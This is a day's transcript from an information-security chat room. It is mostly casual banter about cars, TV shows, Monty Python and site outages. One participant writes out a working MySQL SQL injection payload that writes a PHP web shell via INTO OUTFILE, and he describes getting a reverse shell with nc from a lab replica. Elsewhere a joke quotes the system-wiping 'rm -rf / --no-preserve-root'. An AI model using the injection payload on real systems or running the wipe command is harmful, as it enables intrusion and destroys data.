The DMZ - 2014-05-16

« first day (1247 days earlier) ← previous day next day → last day (3621 days later) »

12:44 AM

@RoryAlsop so it tastes like bacon?

user image

was just tweeted by George Takei :)

1:40 AM

@AviD IE has devtools?

I haven't yet seen one of those attacks targeting IE

@ManishEarth IIRC they're shit

@strugee technically the issue is with having a console -- any browser with a console can be used as a vehicle for user exploitation by this method

1 hour later…

2:42 AM

@ManishEarth are we talking about the thing where Facebook would get XSS'd through the console?

@strugee yep

self-XSS, they call it

847

Q: How does Facebook disable the browser's integrated Developer Tools?

So apparently because of the recent scams, the developer tools is exploited by people to post spam and even used to "hack" accounts. Facebook has blocked the developer tools, and I can't even use the console. How did they do that?? One Stack Overflow post claimed that it is not possible, but F...

javascript facebook google-chrome-devtools

@ManishEarth gotcha

@strugee yeah, that was FB's trial "solution" to that

well, not a solution, they were just checking effectiveness

trial?

> We're testing this for some users to see if it can slow down some attacks where users are tricked into pasting (malicious) JavaScript code into the browser console.

"testing"

2:46 AM

ah

@strugee I'll be writing a blog post on this saga later, I'll ping you with it

I thought you meant they have since come out with a New And Improved™ version

@ManishEarth lovely

@strugee "they"?

you mean the browsers?

oh, Facebook

yeah

Nah. I got Chromium to fix the bug that let Facebook hijack the console, really

Facebook was doing it well, they gave the user an option to turn it off

One other site (I think Netflix), copied the trick and didn't give this option

Too easy for website operators to tack on for the "security" it gives

Also, giving the website access to chrome-level APIs is not a good idea.

3:02 AM

@ManishEarth nice

3:58 AM

I think we should redefine the term "self-xss" to "actively demonstrating that you're a moron."

6

@Xander I think that came up when we discussed it a few months ago.

Well, not exactly in those words but the idea was there.

Mar 8 at 9:48, by Terry Chia

@ManishEarth Annoying solution to a non-existent problem.

Seriously, this is not a new thing. Back in the early IRC days, there were people who could be convinced that they could hack their mortal enemies by typing "format c:" into the command prompt. If you're going to be a moron, it's because you're a moron. Not because the browser doesn't protect you enough.

2 hours later…

6:12 AM

'TMI' he whispered, gazing into the sea.

5 hours later…

11:25 AM

@ManishEarth umm... don't know if you're clueless or trolling...

@strugee you do realize that chrome's original devtools was basically a cheap copy of IE's devtools, right? And they've since gotten much better.

Or maybe, welcome to 8 years ago.

@ManishEarth this might be true though.

Hey @Manish, are No-Pee trucks really a thing in India?

user image

from vodio.com/video/…

12:26 PM

Finally!!

@Adnan not back up for me yet

DNS caching probably

Chat is back! Chat is back!... Oh...

Aaaaand its back

Yup!

God job, ITs. Hope you didn't lose too much sleep with this one

12:45 PM

@RoryAlsop How about now?

@RoryAlsop Well, see, a toolbox is filled with tools and is thus a much larger tool. Then there's the toolshed, and even further, the rarely seen wacky wild inflatable flailing tool emporium.

Nope - I can access the chats, but all sites are still in read only for me

Yaaay! Restaurant Day is tomorrow!

@Adnan ...surely every day :-)

@DavidFreitag I understand

Good news everyone! I may be acquiring a convertible '69 mustang.

12:52 PM

And 50 refreshes later - it's baaaaack

@RoryAlsop Weird... It came back online at 14:40 for me (CET)

with almost no flags :-)

Aha!

@DavidFreitag ooooooooooooooooooooooooooooooh - now I'm jealous

that was back when Mustangs were awesome

@RoryAlsop But but but... home restaurants :(

12:54 PM

@RoryAlsop we've been in Glasgow last couple of days, so every lunch time has been restaurant day definitely

@RoryAlsop Although i should say topless instead of convertible. The roof is basically a tattered piece of cloth and the roof mechanism is pretty much knackered. Replacing it won't be cheap either.

today was Mexican

food=good

need I say more

I don't know about you guys, but I love restaurant day.

I have no idea what were talking about :P

12:55 PM

The idea of going into someone's house who opened it for one day as a restaurant and tasting homemade food is so nice

But the whole purchase basically hinges around my ability, or rather inability, to drive a manual. It's a proper old car with a proper manual gearbox and I'm so excited about the prospect.

@RoryAlsop that must have been all the infrastructure work. Nuking the flags.

@RoryAlsop were mustangs ever not awesome??

@AviD from mid nineties onwards

@Adnan is that what it is...

@RoryAlsop huh. I guess my image of Mustangs is still mostly 80's style, or the classics.

@RoryAlsop Basically, yes.

12:58 PM

@AviD All you see for modern mustangs here is women driving a powder blue convertible. Extremely occasionally you will see a boss 500 roll by and blow your doors off.

@DavidFreitag it will not take you long to learn. It's always weird when thinking about the fact that in the US autos far outnumber manuals, whereas here there it is totally the opposite

In the participating countries, you can have your own restaurant for one day, no paperwork.

@RoryAlsop that used to be the case here too, I think since the mid-90's there has been a big change.

@DavidFreitag I took one of the newish ones for a track day in '05 or '06 and it was terrible. At one point the guy running it said, "I don't think this will work for you - you obviously drive rally cars" - :-)

@RoryAlsop No that makes perfect sense. Americans are fat and lazy so they prefer not having to do anything but push one pedal and turn a big round thing.

12:59 PM

Manual is still not as rare here as it is in US though - most (but not all) driving students still learn on manual.

@DavidFreitag lol at stereotyping

@RoryAlsop Have you seen the videos for the 2015 mustang on jalopnik?

As opposed to southern Spain, where they all learn on Manuel.

@RoryAlsop I can speak from firsthand experience that that one isn't a stereotype :]

Occasionally I have a manual as a rental on holiday, or whn mine is in the shop - I am astonished that people don't crash them more often. I always end up thinking I could fall asleep as there is nothing to do :-)

@DavidFreitag ...2015??? Blimming time travel has spread from Deloreans now, eh? :-)

1:01 PM

@RoryAlsop DUDE. They sound AMAZING

@DavidFreitag Big american engines sound awesome - I'd have to totally agree with you there

I wish the Tesla sounded nicer

I do want one

@RoryAlsop It's "disguised" so nobody knows it's a 2015 car.

@RoryAlsop isnt that the point? They don't sound at all.

1:02 PM

Be warned you might need a change of trousers when you're done with that video.

my 8 year old is learning to cross streets himself. We were discussing today about how he also listens for cars - he was shocked that some dont make a lot of noise.

Welcome to the future, son.

:-)

@DavidFreitag Love that throaty growl, like a hot Scottish redhead whispering sweet nothings in your ear.

@AviD pffffft

"I want you to ride me. I want you to take me on the open road and really open me up. You should see what I can do."

I swear, I'm really not a gearhead, but I do love the sound of American muscle.

hmmm - you guys need to get out more.

Like on the open road

LOL

1:07 PM

@RoryAlsop There is no open road here. It's all clogged by boobs who drive at half the speed of stink.

I definitely prefer that sound to say a Ferrari, which just annoys me, but my preference by far is the big boxer 4 cylinder 2.5 litre in my car, and the quite lovely turbo

@DavidFreitag dammit man, now you've gone and summoned @LucasKauffman!

@AviD Well not literal boobies. I imagine that might cause quite a few crashes.

Jesus, absolutely nobody has stock of the microcontroller i used for that PXE project. They did last week, what the hell happened...

you blabbed about it on the DMZ. Now everybody wants one.

Yeah I'm sure that must be it.

1:13 PM

@DavidFreitag time to order then.

@Nick Factory lead time is just under a month. I think I might end up ordering them from china.

@DavidFreitag from china? Wow you are desperate...

@Nick Yes well literally every distributor i have checked including sparkfun has nothing but a big goose egg for me.

Right, right. We should order the main part from Singapore, via a dummy corporation. Then quite separately we place an order to a Chinese company for these. Then put it together ourselves. It would need to be a large order, though, to avoid raising suspicion. Say, 10,000?

See i was thinking a bit more modest order of three parts.

1:24 PM

Well, at least we'll have spares.

No? really?

And live in a cardboard box under an overpass somewhere..

So, the little bird says there are a whole raft of new shows and movies coming up the stream. A Flash show, spinoff from Arrow, Gotham - a Batman prequel - Gordon's origin....

Most of it looks like crap, so business as usual.

sure, but good crap.

Well i suppose it is possible to polish a poop.

1:39 PM

Nah, I have hopes.

Of the non-poop variety.

Hey, they finally managed to put out a Superman movie that did not totally suck, so anything's possible.

Maybe the Red Sox could even win.

The media over here is criticising the new godzilla movie because godzilla looks "fat".

hehe

Japan says so.

When i heard the television spout that nonsense last night i nearly ragequit right off a bridge.

cracked.com/quick-fixes/… #5

So did you guys hear about "CSI: CYBER" yet?

1:45 PM

oh gawd no.

Oh god yes.

but isnt that just CSI?

imdb.com/title/tt3560060

Since the CBS website seems... broken.

> CyberPsychologist

????

I think it should be the best new TV comedy.

1:47 PM

heh

Well they turned down HIMYD so they need something funny after HIMYM.

@Adnan Why on earth would you want a job at McAfail?

Same reason. Humor.

2:12 PM

@Adnan Nope.

2:26 PM

@DavidFreitag Because that particular branch of theirs is doing very interesting things.

@Xander Yeah, I thought so. I think my only option was to somehow get SELECT INTO OUTFILE to work.

2:53 PM

In other news i finally got around to buying the Dune audiobook box set. It's freaking fantastic. Also the hitchhikers guide to the galaxy is on its way.

@DavidFreitag Don't confuse the two when playing them in your car

@Stephane Nah it's music only in the car. I listen to books while working.

@DavidFreitag How can you work and pay attention to audiobooks at the same time xD

@Nick It's really not that difficult...

@DavidFreitag I cant do it without getting distracted

3:04 PM

@Nick That's what they make the pause and rewind buttons for ;]

@Nick I write code while watching youtube, semi-watching a movie and listening to music. It's really not that difficult. :P

Yes, at the same time.

@TerryChia Although it has to be said that Dune is a particularly verbose book.

@TerryChia I write code while listening to music and semi watching youtube videos too but not really paying attention... only if the guy starts screaming or something itll make me rewind to see what happened

@DavidFreitag Hehe. Although I have to say that my coding involves writing small bits of code and waiting for people to review after I push it so it's not really comparable to working fulltime in an office.

@TerryChia Yeah I am the only person who works on my projects. Every now and then there is a flurry of emails about a particular bug or feature that needs to be added/removed/poked with a stick.

3:11 PM

@DavidFreitag Hmm how do you poke a feature with a stick? haha

@Nick Step 1: Bash face into keyboard

@DavidFreitag Step 2: Open terminal
Step 3: "rm -rf / --NO_PRESERVE_ROOT"

Did I get it right?

@Nick No. You should alias regularly used commands so you don't have to type it out.

@Nick Well... No. That might get complaints from windows.

@TerryChia Ofc I do a rm -rf / everyday, love watching the system crash

3:14 PM

I actually do not understand the point of the no preserve root flag.

Is there ever a legitimate use case for deleting your root partition while your system is running?

@TerryChia to prevent derpy people derping

@TerryChia Uhhh possibly if you want to destroy someones system

@Nick How is that a legitimate use case? :P

@TerryChia Well... you never know...

Interesting... apparently ubuntu makes the mouse apear if its on the screensaver and a chrome page refresh happens

@Adnan Huh, interesting. That's a fun little problem.

3:58 PM

@TerryChia I guess that some people consider any safety feature such as refusing to recursively delete the whole system as an intolerable infringement on their freedom. Hence the flag.

4:12 PM

@Xander I've actually just replicated their environment on my Windows box and injected the following

%20"<?php%20system($_GET[%27cmd%27]);%20?>"%20INTO%20OUTFILE%20"..\\..\\htdocs\\te‌st\\shell.php"%23

The file was there, and I got a basic shell.

With nc, I connected back to an nc instance I had running on another box, got a better shell.

Some Python magic, got interactive shell.

I feel so stupid now for not thinking about this when they were testing us.

@Adnan Eh, it's a pretty complicated bit of exploit to come up with on the spot.

Especially since INTO OUTFILE is MySQL specific I think?

@TerryChia If I had to rate it, I'd say it was of low-medium complexity. The only problem would probably have been figuring out the directories since there were no meaningful errors.

@TerryChia Yes, you're correct. It's a MySQL thing.

@Adnan Was the job entry level?

I'd guess that you need a fair bit of experience with SQL injections to come up with that. I definitely cannot without plenty of Googling.

@TerryChia It wasn't entry-level.

and, to be honest, I agree with you. It took me about 20-30 minutes of Googling and trials to get that one.

Keep in mind that the machine in their lab didn't have Internet connection.

Wait, did they tell you that there was a shell.php file at that particular directory?

4:22 PM

@TerryChia No, that query creates the file there.

@Adnan Oh right. D'oh.

What was I thinking?

@TerryChia Probably in a similar state of mind as I was then.

@Adnan Well, I actually looked up INTO OUTFILE so... :P

@Adnan Nice!

user image

Here it is, on the same machine (windows)

4:42 PM

File this under "Most Unexpected Uses of a Server Room": blogs.computerworld.com/management/23900/…

5:09 PM

ohai @RoryAlsop

5:27 PM

Wait. I think someone said something about boobies.

3

@ScottPack Life isn't just about boobies. JUST KIDDIN'.

Silly boy.

user image

I like how pressing right-clicking on his trackpad is supposed to do something

@Simon Enter would be more appropriate.

5:35 PM

Exactly.

You know what else would be more appropriate? My D.

6:11 PM

Evenin' All

@RоryMcCune evenin'

@RоryMcCune Good evening

Well I'm at the back end of a loooong week and have a leffe blonde in hand and a curry home to have later so all looking up :)

o.O what in the... I just found system logs from 2014-04-17 while I nuked my computer at 11 this month

7:13 PM

@Nick hai

@RоryMcCune evenin' squire

7:36 PM

I feel like my brains were taken out, put into a blender, and then put back into my head with a funnel.

@DavidFreitag wat

@Nick Sleep deprivation combined with bashing my face into Windows XP mode for windows 7 64bit for some legacy software on a core 2 duo with 4 gigs of ram.

@RoryAlsop been experiencing the delights of a daily commute to Glasgow this week, I'd forgotten what a long day not working from home is!

@DavidFreitag Feel the same way but for another reason... found some wierd logs and not sure if its an OS fail or someone is trying to hide something from me

@Nick I'm going to go with option 3: You are cleverly trying to hide something from yourself.

7:41 PM

@DavidFreitag Hmmm I can not remember typing the root password to edit these log files...

@Nick Proper memory is merely a figment of your imagination.

Hmm try to figure it out or simply nuke it... hard choice xD

@Nick When in doubt. Cheeseburger.

@DavidFreitag Hmm or it may simply be hungry .... ill order it a cheeseburger xD

I think that 5 hour energy i had three hours ago wore off about ten minutes ago.

7:48 PM

Everything seems to take more energy on this rainy Friday.

I'm going to assume it's because i weigh 50% more than the average person.

"Thunderbird is already running, but is not responding. To open a new window, you must first close the existing Thunderbird process, or restart your system."
grumble grumble grumble

@Nick Error ID10T

@DavidFreitag wut? haha

@Nick Problem exists between chair and keyboard?

7:56 PM

Im debating wether to do a kill -9 or just leave it till next reboot

just use htop to kill it

No, use wget.

wget, killing dem process since 1950.

@Simon Your mother was a hampster and your father smelt of elderberries, now leave me alone or I shall taunt you a second timeh.

ma poor mother

@Simon No. The correct response was, "Help! Help! I'm being repressed!"

8:00 PM

Sounds like an exhaustive answer to figure out.

@Simon Good god man, have you not seen Monty Python's The Holy Grail?

What have you been doing with your life that you haven't seen Monty Python's The Holy Grail.

@DavidFreitag I rarely watch English-speaking comedians.

@Simon Yes, but this one is actually freaking hysterical.

^ Watch it.

YT seems to be down for me ô_ô

Also, pay attention to the text that appears before the movie. It is also dripping with hysterical.

8:06 PM

I'll watch it tonight if I get free time.

Be warned though it is from 1975 so the editing is a bit... old. If you can get past that it's funny as shit

8:17 PM

@Simon - no Monty Python? You need to be... Edumacated!

That awkward moment when you realize you have 127 chrome tabs open

@RoryAlsop your saying that we should quote from the book of Python whenever @simon appears right?

Sadly enough I just don't find any of Monty Python's stuff funny other than The Holy Grail.

@DavidFreitag not even the dead parrot sketch

or the lumberjack

or the ministry of silly walks

@RоryMcCune Not sure I've seen that one.

8:27 PM

or SPAM

@RоryMcCune Couldn't get into it

God damn it i swear AT&T is blocking all torrent traffic. I can't even download lubuntu at more than 15KB/s

and speed test is giving me 11.7Mb/s

Cheese shop

The Spanish Inquisition

The Hungarian Phrasebook

There must be a monty python sketch playlist on youtube

8:30 PM

Simon, Simon, Simon...

I'll have to hit it with a hammer once I'm done with Top Gear.

I'll already be in the mood for british accents and whatnot.

@David - there must be, but I am comfy with my gin in front of the TV and not able to browse as wife is using the tablets

@RoryAlsop Smart TV man I'm telling you.

Although i must say the TV has locked up more than once.

@DavidFreitag TV... I don't even have one of those in the house :)

have loads of laptops/tablets etc mind

@RоryMcCune My computer alone has three 32" televisions. Then i have a fourth for netflix

8:54 PM

In going to avoid smart TV as long as I can. They have no functionality I want, but others want them this bringing down the price of basic TV's

We only have the one TV in the house. 8 monitors though

9:37 PM

Whuuuut ? Ye cannot review more than 20 suggested edits within two hours ?

heh I also hit that wall just now, someone is enthusiastically editing posts for grammar and spelling

didn't know of it either before

The guy seems a bit obsessed by the use of "xxx" as a placeholder for "some site name".

But enthusiasm should be nurtured so I approve.

Yeah, but now that there's no more "maximum 10 edits to auto-CW" I say that's fine. I'd reject them before as too minor tho

OK, maybe not, that guy is quite thorough

9:55 PM

I wonder if he intends to earn his entire first 2,000 rep points via grammatical edits?

His bio says that his passion is web application security, but I suspect that his real passion is spelling.

10:13 PM

IIRC 1000 is maximum anyone can earn from suggested edits, tho that's still a lot of them with +2 rep at the time, I wonder if he hit some max edits per day wall now too

2 hours later…

11:49 PM

if anyone wants to follow the Delta IV launch online, here's the live stream from Cape: ulalaunch.com/webcast.aspx

launch window opens in about 13 min.

« first day (1247 days earlier) ← previous day next day → last day (3621 days later) »

Transcript for

May '1416

The DMZ

A serious place where infosec is discussed PS we don't do hard...

404-errors moderate-anarchism pretending-to-work staring-into-the-abyss

join this room
about this room

00:00

06:00

12:00

18:00

all times are UTC

site design / logo © 2024 Stack Exchange Inc; legal

mobile